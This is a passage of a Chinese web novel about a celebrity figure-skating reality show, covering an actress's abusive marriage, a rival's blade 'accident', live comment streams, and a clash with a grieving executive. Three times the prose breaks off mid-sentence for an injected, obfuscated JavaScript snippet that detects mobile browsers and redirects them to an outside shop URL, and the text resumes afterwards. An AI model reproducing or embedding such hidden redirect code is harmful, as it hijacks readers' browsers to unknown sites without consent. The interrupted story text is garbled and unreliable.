陈渺每天叽叽喳喳,少说一句话都嫌今天过亏了。池小冰偶尔也会上前和她们搭几句话,唯独江舒然,永远都是一个人安安静静地训练。 楚幺幺把背包放在座椅上,拿出里面的滑冰鞋,系鞋带的时候还在不停往场内看。 她记得,江舒然以前的荧幕形象是活泼灵动的少女,年仅二十四岁就坐稳了一线女星的位置,业内夸她是天生的演员,目似星辰浩如烟海,泣泪成珠我见犹怜。谁也没想到,在她红的第三年,事业巅峰期,她竟突然宣布嫁为人妻,粉丝、导演无不叹惋。 楚幺幺步入场内,江舒然在另外半场,和她隔得极远。 她在冰上热身滑了几圈,开始舒展四肢,变速滑行。 自从开悟后,她逐渐习惯了冰面和脚上的冰刀,做动作更加游刃有余了,每一个滑步、旋转和跳跃,甚至能让她回忆起以前练舞的日子。 今早,陈渺还神经兮兮地跑来问她,课后是找了哪位高人指点,她也要去拜师。 楚幺幺哪里能告诉她,只说是“秘密”,为此还被纠缠了好久。 练了一小时有余,楚幺幺已经开始出汗了。 以往加练四小时都嫌不够,今天只练了一个小时,她却有些乏了。 大概因为,摔得少了。 楚幺幺自嘲地想。 这时,手机响了,是姜书语打来的。 “幺幺,我好饿,你回来的时候帮我带几个肉松小贝嘛~”姜书语在电话里撒娇。 “哪家的?”楚幺幺滑去了场外,脱掉滑冰鞋,换上了一双备用的拖鞋,往场馆外走去。 姜书语在电话里说着话,可到底还是讲不清楚,“就是那家……那家你以前常吃的。” “哪家啊?” “你以前常吃的你忘了?” “每天吃这么多东西,我哪里记得。” “楚幺幺你是不是傻?!”还没讲两句,姜书语已经开始暴露本性。 …… 两人你来我回地掰扯了好久也没扯清楚,最后,还是沈清柠接过了电话,告知了是冰场回去第一个路口的那家,才算了事。 楚幺幺挂了电话,在手机的记事本里设置了事件提醒,再过一小时,她就回去。 转身回冰场,可还没走几步,就听见了有人讲电话的声音。 “我都说了,没有钱了!”江舒然站在盥洗室的门口,光线很暗看不清脸,语气很不耐烦。 不知对面又说了什么,她伸手将额前的头发全数往后拨开,微微侧过脸,几道光线打到她的脸上,美丽不可方物。她无奈地一闭眼,叹了口气,说:“赵帆,你告诉我,我嫁给你这三年,你为这个家做过什么?” 电话那头,声音大得连楚幺幺都能听见:“你别跟我扯这些!你以为你还是女神啊?钱不会挣,活不会干,每天在家里只会碍眼!现在接了这个综艺,收视率这么高,你跟我说,你没钱?!” 江舒然的声音明显提高了一个八度:“这三年我的积蓄,还有股票基金赚的钱都去哪儿了?还不是被你拿去投资你的破乐队,和你那些狐朋狗友的酒吧!” “那些都是为了我们的未来!”赵帆在电话里咆哮,“你懂什么?女人就是见识短!我现在缺钱周转,你给我装什么清高?” “我装清高?”江舒然气得浑身发抖,“我为了和你结婚,得罪了多少人你知道吗?经纪公司、导演、粉丝,我把所有人都得罪了!现在你跟我说我装清高?” “那是你自己的选择!”赵帆的声音更加刺耳,“别以为嫁给我是委屈了你,你以为你现在还值几个钱?过气女星一个,要不是我,你连这个综艺都接不到!” “赵帆!”江舒然呵斥住了他,平日冷漠淡然的脸上,此刻被气愤填满了,“你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203453|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话有良心吗?!和你结婚,我要过你一分钱吗?那些年赚的钱都给你花了,你少在这里和我逼逼赖赖!” “逼逼赖赖”,她竟然能从女神江舒然嘴里听到这个词。 电话那头传来更加恶毒的话语:“江舒然,你别给脸不要脸!你现在就是个没人要的破鞋!除了我还有谁会要你?你最好识相点,把钱给我转过来,不然…...” 电话那头好像还在骂骂咧咧说着什么,可江舒然已经挂断了电话。 她从角落里转过身,蓦然看到了楚幺幺。 江舒然的脸上隐隐还有泪痕,她倔强地撇过了头,悄然抹去眼角的泪,脸上又恢复了平日的冷淡。 楚幺幺也有些尴尬,心想着,是该假装刚来比较好,还是默默路过比较好。 最后她还是选择了后者,假装无事发生地路过。 “很可笑吧?”江舒然突然说话了。 楚幺幺停下了步子,转头看向她,怔了一会儿,微微摇了摇头。 “呵。”江舒然冷笑了一声,满脸自嘲,她乏力地靠在一侧的墙上,像是自言自语般地继续说,“以为结婚是遇到了真爱,到头来什么都没有。女人,步入婚姻,就是给自己挑好了坟墓。” 楚幺幺看着她失意的模样,难以想象,这是印象里永远冷静自持的江舒然。 “那为什么不离婚呢?”她问。 “离婚?”江舒然看了她一眼,眼神中像是嘲笑她的天真,“为了和他结婚,我和经纪公司闹掰,粉丝骂我恋爱脑骂了70万条。我已经什么都没有了。我现在离婚,他们只会嘲笑我,说,‘你看吧,当初怎么和你说的?你这是自作自受’,自己选的路,跪着也要走完。” 她什么都没有了,只剩下她那可怜的高傲和倔强,她绝不,向任何一个人低头。 楚幺幺抿着嘴低头沉思,不可置否。 江舒然的老公赵帆是位摇滚歌手,留着一头长发,样貌长相极佳,大有80年代忧郁男星的气质。只是风评一直不好,婚前就曾传出多个绯闻女友,和江舒然恋爱后,被江舒然的粉丝一扒,黑历史更是一层接一层地往外剥,“侮辱女性”、“到处约”……当时,网上还掀起了#拯救江舒然#的行动。 可一周之后,江舒然就和赵帆闪电完婚,成千上万的粉丝高呼着“脱粉”,甚至对这段婚姻伊始就爆出了终结的预言。 楚幺幺向前走了几步,倚靠着另一侧的墙,说:“明知道错了,却不愿承认自己错了,对吗?” 江舒然沉默了。 “可是我觉得,粉丝是很长情的。”楚幺幺深吸了一口气,想起了从前那些聚焦在自己身上的目光,“他们总是会找各种理由为你辩护,为你身披铠甲去和那些说你不好的人作斗争,会为了见你一面在太阳下站好久,会因为你一个笑高兴得睡不着觉,虽然有时候……” 她想起了自己参加追悼会后,被自己的粉丝追着骂了50万条,他们恨不得长刀一挥,能顺着网线砍了楚幺幺。 “虽然有时候,他们也会骂你,但他们不是故意的,他们只是觉得,你配得上这世上最好的东西。” 江舒然望着眼前这个女孩子,她才十八岁,眼神如此坚定,对她说出了三十岁的她都未曾想过的话。 “今天晚上我没有见过江舒然,我只知道电视上的那个,眼里永远有光,自信又美丽的江舒然。”她好像还怕她听不懂似地,继续劝导她,“相信我,你的粉丝会原谅你所有的过错,抱着你,不让任何人伤害你!日子过得好或不好,还不是只有自己知道。” 是啊,日子还不是自己过的。 这一刻,仿佛心里憋着的那口气突然吐了出来,一下子倍感轻松。 江舒然看着楚幺幺稚嫩的脸庞,仿佛看到了五年前的自己,“说得好像,你有粉丝似的。” 额…… 楚幺幺望着她,说:“我会有的。” 一定会有的。 江舒然冷漠的脸上,此刻浮现了真切的笑,向她发出了邀请,“再滑两圈?” “好。” 11. 莫霍克步 “你可以开始学莫霍克步了,”小O示意了一眼远处正在给陈渺作指导的秦佳,说,“秦老师说,待会儿来看你的成果,再考虑你能不能开始练1S和1Lo。” 1S和1Lo,即后内结环跳和后外结环跳,是花样滑冰里相对简单的跳跃。 “真的吗?”楚幺幺欣喜不已。 几日训练,楚幺幺的训练强度和进度,都已远远超过其他几位学员。 就连弹幕都对她的这一转变,发出了疑问: 【我有没有听错,废柴楚幺幺要学莫霍克步了?】 【我学了两个月才到莫霍克,她才学了多久啊……】 【开挂了吧?先前不会是装的吧?】 【莫霍克步是什么?很难吧?看助教的动作,也没有很难啊!】 【弱弱说一句,不会真的有人以为花滑是一项很简单的运动吧……】 …… 楚幺幺扶着小O的手,在他的帮助下磕磕绊绊地完成了几个不太标准的莫霍克步。 “再流畅一点。” 楚幺幺深吸了一口气,一只脚先行滑出,外刃接触冰面,脚尖触地,她像一只大雁在冰面轻轻划出一条优美的弧线。上半身微微前倾,双臂自然摆动,紧接着,另一只脚迅速从外刃切换至内刃,一个转胯配合脚踝和腿部的力量,完成了一次转换。 一次,两次……两只脚相互交错,内外刃不断切换,幺幺抬起头,几缕碎发飘散在她脸上,滑冰场顶光照在她身上,像是给她覆上了一层薄纱,她的步伐轻盈而流动,哪里还有前些天畏缩的模样? 小O在一侧看得发呆,她,好像换了一个人一样。 楚幺幺又转了两圈,视线瞟向不远处的小O,脚下的速度慢慢缓下来,“小……” 她刚要说话,眼角的余光突然瞥见一道寒光闪过。还没等她反应过来,一片锋利的刀片已经疾速飞向她的脸。 她心脏一紧,脚下一用力,猛地侧身避开,刀片几乎贴着她的脸颊掠过,锋利的刃口割破了她的衣袖,肌肤猛然传来一阵尖锐的疼痛。紧接着,鲜红的血液迅速涌了出来,滴落在冰面上。 楚幺幺忍不住闷哼了一声,捂着手臂,目光望向始作俑者。 池小冰正旋转着收回腿,她的燕式旋转做得并不标准,腿伸得不够直,却抬得极高,已经快和楚幺幺的眼睛平齐。 “幺幺,你没事吧?”池小冰故作关怀地上前关怀,她皱着眉,满脸的委屈,“我……我刚开始学燕式旋转,没学到位,刚刚没看到你在这儿。” 楚幺幺心知肚明地冲对方苦笑了一下,以她的经验,今天这个哑巴亏她是吃定了。 池小冰的助教小P这时才刚刚跟上来,眼底有些恐慌,对上楚幺幺的眼心虚地低下了头。 “幺幺,”小O迎上来,一眼看到楚幺幺捂着手臂地手指缝间在溢血,“你流血了!” 这时,陈渺踩着并不娴熟的滑步急匆匆赶来,她朝着池小冰一指,“喂!你怎么滑的?我站那边都看见了!你故意的!” “我,我怎么会是故意的呢?我真的没有……”池小冰摆着手,眼角顷刻间就流出眼泪来,不知道的还以为是她们以多欺少欺负了她,“我真的不是故意的,你们误会我了……” 陈渺气得顾不得形象管理,扯着嗓子喊,“你的滑冰练习区离这边那——么远,你精卫填海啊?填错海了吧你!摄影师呢,给我调跟拍!” 众人转了一圈,竟然没有找到池小冰的跟拍摄像。 这节目是一对一跟拍直播,每一位节目嘉宾都有一位专属摄像,池小冰是这期的主推,镜头自然占得多。听说除了节目组安排的摄像,她还自己带了一位拍摄物料和花絮的摄像,此刻竟都不见了踪影。 而楚幺幺,作为陪衬,节目组本就不用心,摄像大哥也只偶尔来拍几个镜头,不巧,刚刚也不在。 也就是说,死无对证。 这边的动静,很快吸引了边上人的注意。 “怎么了?”江舒然着一袭明黄色的花滑裙,衣袂轻飘,滑步而来,她甚少穿得如此鲜亮,此刻,像极了金庸小说中的“黄衫女子”。 陈渺指着池小冰忙不迭告状,“舒然姐,她就是故意的!她差点割到幺幺,不!她已经割到幺幺了,你看!” 陈渺说着,拉起楚幺幺受伤的胳膊就要展示在江舒然看。 伤口被牵动,楚幺幺刚刚还在强撑的表情,此刻已经破防:“啊,疼疼疼!疼!嘶——” “哦,对不起啊。”陈渺收回手,冲楚幺幺露出一个满怀歉意的笑。 跟着江舒然一起来的还有她的跟拍摄影师,镜头刚刚记录下她们的争吵。 池小冰泪汪汪的一双眼,上前一步拉住了楚幺幺的手,如此时刻还不忘将自己的右脸对着镜头,“幺幺,我真的是练习太投入了,没看到你,你原谅我吧……” 此时,直播的弹幕已经吵起来—— 【楚幺幺这个新人,还敢给小冰脸色看?】 【池小冰真美,哭起来都这么好看!prprpr】 【我家冰宝学习太认真了,太投入了,不像有些人……】 【就是,冰宝还体谅员工,刚刚还叫摄影师去休息。】 【楚幺幺人如其名,净整幺蛾子!】 中间夹杂几个说公道话的—— 【楚幺幺都流血了,让池小冰道个歉,不过分吧?】 【陈渺说看到池小冰就是故意的。】 但很快就被池小冰的粉丝怼了回去—— 【她们两个学渣交叉感染,讲的话能信?】 【小冰人美心善,比她红又比她努力,有必要故意?】 【楚幺幺想红想疯了吧?】 …… 江舒然和楚幺幺交换了一个眼神,她朝池小冰看了一眼,看到了她身后那台姗姗来迟的摄像机,她的眼底不动声色地卸下鄙夷,转头对陈渺说:“陈渺,你带幺幺去包扎下。” “可是……” 陈渺还想据理力争,却被江舒然厉声打断了,“快走吧,多说无用。” 陈渺临走前狠瞪了池小冰一眼,扶着楚幺幺的手边走边宽慰,“我爸让我带了个三甲医院的医生,保证给你治得一点疤都不留,别怕哈。” 这头,池小冰还在对着镜头卖委屈,只是此时的贩卖对象变成了江舒然。 只见她泪眼婆娑,喉咙里带上了一丝哽咽,“舒然姐,她们是不是讨厌我?我真的不是有意的……” “池小姐的戏我看过,确实是后生可畏。”江舒然冲她露出一个清冷的笑,侧身滑了一个U形步,离开了。 池小冰愣在原地,眼泪冻结在眼底。 弹幕—— 【江舒然什么意思?】 【笨蛋!前辈夸小冰戏好呢!感谢舒然前辈!】 【不是吧……我怎么听着……】 【某些粉丝的智商,就别说楚幺幺智商低了,真是笑掉大牙!】 …… 医务室的灯光冷白如雪,消毒水的气味刺得人鼻腔发酸。 陈渺一脚踹开虚掩的门,扯着嗓子喊:“赵医生!快来看看!有人被冰刀割伤了!” 楚幺幺被她拽得一个踉跄,手臂上蜿蜒的血痕在苍白皮肤上格外刺目。 她无奈地扯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203454|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯陈渺的衣角:“你轻点,血都快甩到天花板上了。” “这时候还管什么天花板!”陈渺瞪圆了眼睛,活像只炸毛的猫,“池小冰那刀尖要是再偏三厘米,划的就是你的脸!” 玻璃药柜后转出一道修长身影。 男人白大褂的袖口卷到手肘,腕骨上缠着条黑色编织绳,与冷肃的医用器械格格不入。 赵廷食指推了推眼镜,目光扫过楚幺幺的伤口:“坐。” 陈渺偷偷戳了戳楚幺幺的后腰,用气音说:“我爸找的医生……长得比男模还帅,听说还是刚回国的高材生。” 楚幺幺看向这位赵医生,眉眼凌厉,面庞英俊,戴着眼镜的样子很斯文,嘴角噙着若有似无的笑,比起医生,更像是刚从某个实验室走出来的研究员。 要是哥哥还在,当了医生,应该也是这样吧。 她失神地盯着看了许久,直到棉球蘸着碘伏按上伤口的瞬间,酸痛感才让她回过了神,“嘶——”。她下意识绷紧了肩胛。 镊子“当啷”砸在金属托盘上,赵医生低沉的声音传来:“你是Fire的粉丝?” 楚幺幺有些恍惚,“嗯……你怎么知道?” 镜片后狭长的眼睛扫过楚幺幺的手腕:“手链。” 楚幺幺的手腕上戴着一根细细的编织红绳——正是Fire女团的应援手链。说起来,这还是当初她亲自参与设计的,作为出道五周年的礼物分发给粉丝。 “手链内侧绣着‘0721’,Fire女团出道的日子。”赵廷缠纱布的动作行云流水。 “你也是Fire的粉丝?” “不是。”赵廷剪断胶带时抬眼,“我朋友是程漾的粉丝。” 门轴吱呀轻响,江舒然抱臂倚在门框上,黄色裙子的外头此刻已经加了一件毛开衫,滑冰鞋也换成了白色马丁靴,长发如瀑垂落腰间,像是从北欧神话里走出的冰雪女神。 “建议在纱布外层裹保鲜膜。”她用指尖点了点楚幺幺的手臂,“冰场低温容易让伤口冻伤。” 陈渺倒抽冷气:“舒然姐,你怎么懂这些?” “拍《雪国列车》时,道具师用的就是真冰刀。”江舒然的目光掠过赵廷胸牌,“不过专业处理还是听医生的。” 她转身离去时,马丁靴在地面叩出清脆的响。 一旁,陈渺戳戳楚幺幺的手臂,道:“舒然姐一直都这么冷淡吗?” “冷淡吗?”楚幺幺不解,也不冷淡吧? “冷啊,我都快被冻死了。”陈渺抚了抚自己的胳膊,“来都来了,就说这么两句话。她就应该过来抱住你,说,‘宝~我好心疼你啊~别担心~我帮你收拾那个小贱蹄子!~’,这样才对嘛!” 陈渺一边说着,一边把楚幺幺抱进怀里,一副爱她入骨的模样,手臂微微用力,擦过了楚幺幺刚刚包扎好的伤口。 “嘶——”楚幺幺疼得倒抽了一口气,表情瞬间扭曲。 核武器,陈渺上辈子肯定是核武器。 “对不起,对不起!”陈渺赶忙收回了手,抚着楚幺幺被她蹂躏得凌乱的衣服,小心关怀,“没事吧?” “还没死。” “没有伤及肌腱。”一旁,赵廷的声音像在念病历,“这几天伤口不要沾水,避免感染。如果感到不适,随时来找我。” 陈渺在一旁插嘴:“赵医生,你可要好好照顾我们家幺幺,她可是未来的花滑巨星!” 赵廷笑了笑,目光在楚幺幺脸上停留了一瞬,随即移开:“放心吧,我可不会让巨星陨落。” 楚幺幺欲哭无泪,谁快来堵住陈渺的嘴,再说下去,她明天就要登基了。 12. 小结巴 冰场上弥漫着氤氲的雾气。 楚幺幺将羽绒服甩上护栏时,金属挂钩与冰刀架相撞发出清脆的响声。 昨夜循环播放的花滑旋律仍在耳膜震动,她俯身系紧冰鞋的动作像给刀刃上了弦。 “刷,刷——”冰刀切入冰面发出脆响,与记忆中谢幕时芭蕾舞鞋踏过舞台的节奏重合了。 “燕式平衡接后外点冰三周跳——”小O举着训练日志目瞪口呆,“你什么时候偷学的?” 楚幺幺在旋转中轻笑,冰刃划过半圆。 “闭幕演出曲目选好了吗?”小O递来毛巾时,指尖沾着冰晶。 “《Storm》。”楚幺幺呼出的白雾在空中凝结。 “《Storm》?这首曲子技巧性和情绪性要求都很高。”小O皱了皱眉,对她的选择颇为担忧。 秦佳不知何时站在防护栏外,她扫了眼楚幺幺缠着保鲜膜的手臂,“情绪递进比技巧更重要。不过……你确定要带着伤挑战这首曲子?” 《Storm》的曲风情绪起伏跨度极大,一开始宛若平静的海面微风褶皱,而后由浅及深,逐步过渡到惊涛骇浪,席卷一场暴风雨。作为花滑曲目,它的节奏感并不强,抓取节拍困难不说,想跳得出众更是难上加难。 “嗯。” 秦佳望着她,仿佛看到了国家队里那群不服输的孩子。这节目里的几个孩子她看着一步步进步,楚幺幺是里面最努力的一个,每天都在冰场练到十点才离开。 她和池小冰不同,小冰爱抓着她问这问那寻求指导,而楚幺幺,大多数时候都是一个人,默默地在角落里琢磨。有时候她琢磨一会儿就能悟出来刚刚那个动作哪里有问题,立马就纠正过来;有时候,秦佳看她卡得久了,就过来指点两句,她也能立马领悟。 作为一名零基础的花滑新人,她确实很有天赋。 “这一个多月,你的进步有目共睹,我很欣慰,但是,凡事要量力而行。”秦佳望着楚幺幺的胳膊,露出了担忧的神色。 娱乐圈和体育圈有些共同之处,有时候,并不是你足够努力就可以被人看见的。 “秦老师,我明白的。”楚幺幺朝秦佳点点头。 这时,池小冰抱着粉色保温杯从更衣室探出头,薄荷绿的美甲衬得手指纤长清瘦:“秦老师~我的勾手跳总差5度角,能帮我看一眼吗?” “好。先等大家抽签把出场顺序定好。”秦佳说着,转向了空旷的冰场,对着耳麦说道,“所有助教准备,组织学员来抽取闭幕式的出场顺序。” 抽签仪式设在排练厅,一个巨大的丝绒抽筒放置在台前,节目嘉宾依次上前抽取号码牌。 陈渺捏着纸条的手指微微发抖:“1号?这不公平!我连后内点冰跳都摔!“ “第一个出场能定调子。”江舒然展开写着“2号”的签纸,听到陈渺的叹息,接了一句。 池小冰抽到3号时,她晃动纸条,腕间的蒂芙尼手链叮咚作响:“好幸运能跟在舒然姐后面学习。” 说完,她随即转向楚幺幺,睫毛扑闪如蝶翼,“幺幺压轴压力最大了,要当心伤口呀。” 陈渺在一旁翻了个白眼:“假惺惺。” 楚幺幺展开最后一张纸条,不出意外,是“4”,只是细看才发现,数字“4”不知何时被人用荧光笔描了金边。 池小冰的指尖划过抽签箱绒布内衬,留下蛛丝般细弱的划痕:“我听说,评审团的主席有老寒腿,说不定……最后半小时会提前离场。” “是吗?”楚幺幺将纸条折成纸鹤塞进护腕,换上了一副人畜无害的笑,连声音都“夹”了几分,“小冰姐姐真细心,连这都知道,我这就告诉导演,扣他工资。” 她说完,转身乐呵呵地离开了,留下池小冰在原地欲言又止。 她该不会真去说吧?总不能让评审团以为是她池小冰告的状吧? 楚幺幺,果然是没脑子。 - 晨跑到第三圈时,楚幺幺在一棵棕榈树下急刹。 她扶着腰喘气,几缕碎发从马尾中逃逸,飘散在脸颊上。 连续几日的高强度花滑训练,让她的身体产生了厌倦的情绪,今天趁着没有节目录制,她打发了沈清柠和姜书语去录音棚练歌,自己出来跑步。 没想到竟看到了这些。 她的目光完全被对面那辆黑色的迈巴赫吸引了。 裴宴林正倚着迈巴赫吞云吐雾,烟圈缠绕着他剪裁锋利的西装,像给水墨画泼了团污渍。 而他的旁边,赫然站着宋雨桐,正拉着裴宴林的手来回晃动,似乎在撒娇?! 楚幺幺皱起了眉,不自觉地加快了步伐,往对面走去。 “阿宴哥哥,你就陪我去吧~”宋雨桐拉着裴宴林的手,语气软糯,她笑得像阳光透过云层洒下的光芒,恬淡又不失娇俏。 她今天似是特意画了和程漾一样的日常妆,原本就有几分相似的脸,现在更是神似得紧。 “你知道我不喜欢人多的地方。”裴宴林淡淡地说道,眉头微微皱起。 宋雨桐的眼中闪过一丝失望,卧蚕上闪亮的眼影衬得她楚楚可怜:“可是,这是我生日啊,阿宴哥哥,你不想见我开心吗?今年程漾姐姐不能陪我过生日了,难道你也不能陪我吗?” 程漾? 他当然知道,程漾一直很疼这个妹妹。 “阿宴哥哥,拜托啦~”宋雨桐的声音再次软下来,扭动着身子撒娇讨好。 裴宴林抬手又抽了一口烟,将烟雾含在口中,一点点吸入肺里。他修长的手指夹着烟垂下,烟头的火光一点点燃烧,落下几颗灰烬在他真皮的皮鞋边。 原本,他就要和程漾结婚了。 裴家父母忙于事业,常年在国外,裴宴林自小就被托付给程家照顾,也正是因为这样,他认识了程漾。他第一次见她时便喜欢她,向来沉默寡言的他,一和程漾讲话就会紧张到结巴。 “我,我……”裴宴林坐在程家的木楼梯上,看着正蹲在自己眼前的漂亮女孩。 程漾眨巴着眼睛,好奇的目光在他脸上四处流连,“爸爸,你从哪里找来的,这么好看的小结巴?” ……他可不喜欢被人喊成“小结巴”。可为什么她喊他的时候,声音这么好听? 他们青梅竹马长大,他从小就知道,她会是他的新娘。可为什么…… 裴宴林抬手想吸第二口烟,这时,不知从哪里伸来一只手,夺过他手中的烟,狠狠扔到了地上。 运动鞋的鞋底在烟蒂上狠狠碾了碾,直至火光被扑灭,一张生气得分外生动的脸出现在视线里。 “程漾不喜欢你抽烟!”楚幺幺语气很不满。 竟然学会抽烟了?哪里学来的坏习惯! “你是谁啊?”宋雨桐收起了刚刚楚楚可怜的样子,上下打量着楚幺幺,一脸嫌恶。 裴宴林被夺走烟蒂的指尖悬在半空,他愣了一下,随即收回手揣进了兜里,“公司新签的艺人。” “寰宇什么时候,连这种没素质的货色都要收了?十八线小艺人都敢管老板做事了?”宋雨桐的指尖抚过宝格丽包包的鳄鱼纹路,钻石美甲在光线下闪着光,她瞪了楚幺幺一眼,转头对着裴宴林又露出了谄媚的神色,“阿宴哥哥,我们还是去生日宴吧!” 楚幺幺轻嗤了一声,丝毫不肯示弱,“宋小姐和阿漾姐姐真是姐妹情深,阿漾姐姐走了两个月都没到,你都可以开开心心办生日宴了。” “你……胡说八道什么呢?”宋雨桐望向裴宴林,像一只受惊的兔子着急忙慌地掩饰,“阿宴哥哥,你别听她胡说,阿漾姐姐最疼我了,才不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203455|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会……” “才不会生气呢!”楚幺幺冷笑着打断她,“干脆去她坟头再蹦两圈,也算是有点参与感,说不定她晚上会飘到你床头给你贺寿呢!” “你,你别胡说八道!”宋雨桐脸色煞白。 裴宴林的眼底闪过一丝不易觉察的情绪,他敲了敲身后那辆迈巴赫的窗,窗户缓缓摇下,露出林岩的脸,“送宋小姐去生日宴。” “阿宴哥哥!” 宋雨桐当然不依,珍珠耳坠随着跺脚的动作乱颤,“我还等着你帮我开香槟塔呢......” 由不得宋雨桐多说,裴宴林已经将她塞进了车内,黑色车窗缓缓升起,将撒娇声隔绝在真皮座椅里。 车子扬长而去,此处,只剩下楚幺幺和裴宴林两个人。 楚幺幺看向裴宴林,才发现他此刻的表情冷峻异常。 她轻轻皱了皱眉,低声问道:“你什么时候学的抽烟?阿漾姐姐不喜欢的。” 她不喜欢烟味。 这么多年,哪怕裴宴林应酬再多,她也从未在他身上闻到过烟味。 裴宴林依旧沉默,目光低垂,既没有走,也不太想搭理她。 周围的空气仿佛凝固了,他的沉默像一种无声的隔阂,将她与他隔开得愈发遥远。 算了。 “程……”楚幺幺刚开口就被厉声掐断了。 “楚小姐!”裴宴林猛地抬眼,眼中燃烧着怒火,朝她逼近了两步,身上未散的烟草气,裹挟着一股强烈的压迫感,朝她扑面而来,“有些事,切记不要做过头。” “什么?”楚幺幺不由愣了一下,语气有些发懵。 “我不管你是谁,不要再消费阿漾。”裴宴林的话语紧跟而至,声音低沉得可怕,仿佛是从喉间涌出的冷气,带着不容置疑的威慑。 “我没有,我只是……” “只是什么?”裴宴林冷笑,“只是想借着她的死博取同情?还是想用她的名义接近我?” 楚幺幺的脸瞬间涨红,面对这样无端的指控无力地辩白:“我什么时候消费她了?” “从你第一次出现在我面前开始。” 楚幺幺语塞。 她承认,她那天确实利用了他对“程漾”的爱。 “我只是……” “我对你的目的没有兴趣。”裴宴林的声音嘶哑,“离我远一点,不要以为伯母把你认成了阿漾,你就真能取代她。你这种人,连她的一根头发丝都比不上。” …… “什么叫我这种人?”楚幺幺气得声音都在抖,“你说清楚,我到底是哪种人?” 裴宴林的目光冷漠得像看陌生人:“卑鄙、虚伪、不择手段的人。” 楚幺幺握紧了拳头,双目直直地盯着裴宴林不肯移开,仿佛下一秒就要呼一巴掌在他脸上。 裴宴林直视着她,言语上仍是警告之词:“不要再让我从你嘴巴里,听到‘程漾’两个字,你不配。” 好好好,裴宴林,你真是好样的! 楚幺幺心里憋下了一口气,发泄无门,她咬着唇,强压下怒火问:“我只是想问你,我们什么时候去看望程阿姨?” 裴宴林的指尖微微动了动,眼中闪过一丝犹豫。 自从上次看望过程母,他们已经很久没有去程家了。 程母的病情似乎稳定了许多,只是最近一直冲他念叨“漾漾为什么还不来?”。 …… “你自己去。”裴宴林丢下这句话,转身离开,没有一丝停顿。 楚幺幺站在原地,看着他的背影渐行渐远。 什么时候,脾气变得这么差了? (人家不是脾气变差了,是一直很差,只对你好罢了!) 裴宴林:老婆我错了。 楚幺幺:呼他一巴掌。 13. 久违了 《冰上精灵》闭幕式如约而至。 偌大的冰场在华丽的灯光下,变成了一个璀璨的水晶宫,冰面反射着无数晶莹的光点,仿佛星星都在冰面上跳跃。 冰场的东南角,一座宏伟的城堡冰雕静静地矗立在那里,宛如一座梦幻中的冰雪王国。 网络直播频道已经打开,弹幕正如火如荼地讨论着—— 【好大一座城堡啊!节目组真有钱!】 【听说是香蕉视频花了几百万,连夜从哈尔滨空运来的!】 【现在的网友,爽文看多了吧?吹起牛来连草稿都不打!】 【是真的!我就是那座冰雕!】 【是真的!我是那架飞机!】 【这特喵是空运的,我直播倒立食屎!】 …… 一声清脆的哨声在场地内吹响,声音在环形的馆内游荡开,显得空灵又剔透。 秦佳举起双手,冲着场内的众人示意“安静”,她转身和评委席上的几人示意,然后终于退到了场后。 这次闭幕式的播报员,根据秦佳的建议,由四位嘉宾的助教来担任。 小O作为四位助教里年纪最大的,率先做起了控场,“各位观众好,弹幕老师好,我是小O,楚幺幺的助教,本次闭幕式表演的解说由我们四位助教来担任。大家都先自我介绍一下吧。” “我是小P,池小冰的助教,请大家多多指教。”小P的声音温柔细腻,听起来甜甜的。 “我是小E,江舒然的助教。”一个浑厚的男音。 “我是小H,陈渺的助教,陈渺老师加油!”活泼的正太音。 现场猛然爆发出一片笑声。 后台,正坐在椅子上绑护踝的陈渺也猛然抬起了头,场地里的笑声在她听来实在是非常刺耳,她转头,看着边上西装革履的“小老头”,说:“他们在笑什么?以我的实力,喊一句‘老师’过分吗?” 她小巧翘鼻高高扬起,嘴巴嘟成一座小山峰。 “不过分,哪里过分了?!乖女儿,你不用紧张,好好滑,老爹给你断后!”香蕉视频的陈总,此刻正托着陈渺的蝴蝶结绑带,蹲在她的脚边。 陈渺又望向了一旁站着的楚幺幺,寻求进一步肯定:“过分吗?” 楚幺幺穿着一身蓝白渐变花滑服,双手环胸而抱,目光注视着冰场犹如一座冰雕,闻言,她转头看向陈渺,一脸为难,“讲真话吗?” 陈渺急忙一个抬手打住,生怕她脱口而出什么不中听的话,“好了。你不要说话了。” “不过,裙子很漂亮。”楚幺幺还是找到了能够真心夸赞的点。 陈渺喜笑颜开,扬着下巴骄傲道:“那当然啦!这可是本小姐亲自设计的!” 此时,弹幕飘过一片—— 【陈渺老师~~】 【你们笑啥?陈渺老师不能拿冠军吗?我压五毛,你们随意。】 【我们陈渺老师,点冰跳只点冰不跳!双足转左脚打右脚!你们有这实力吗就在这儿笑?】 【渺渺,他们都笑你,偏偏你最好笑!】 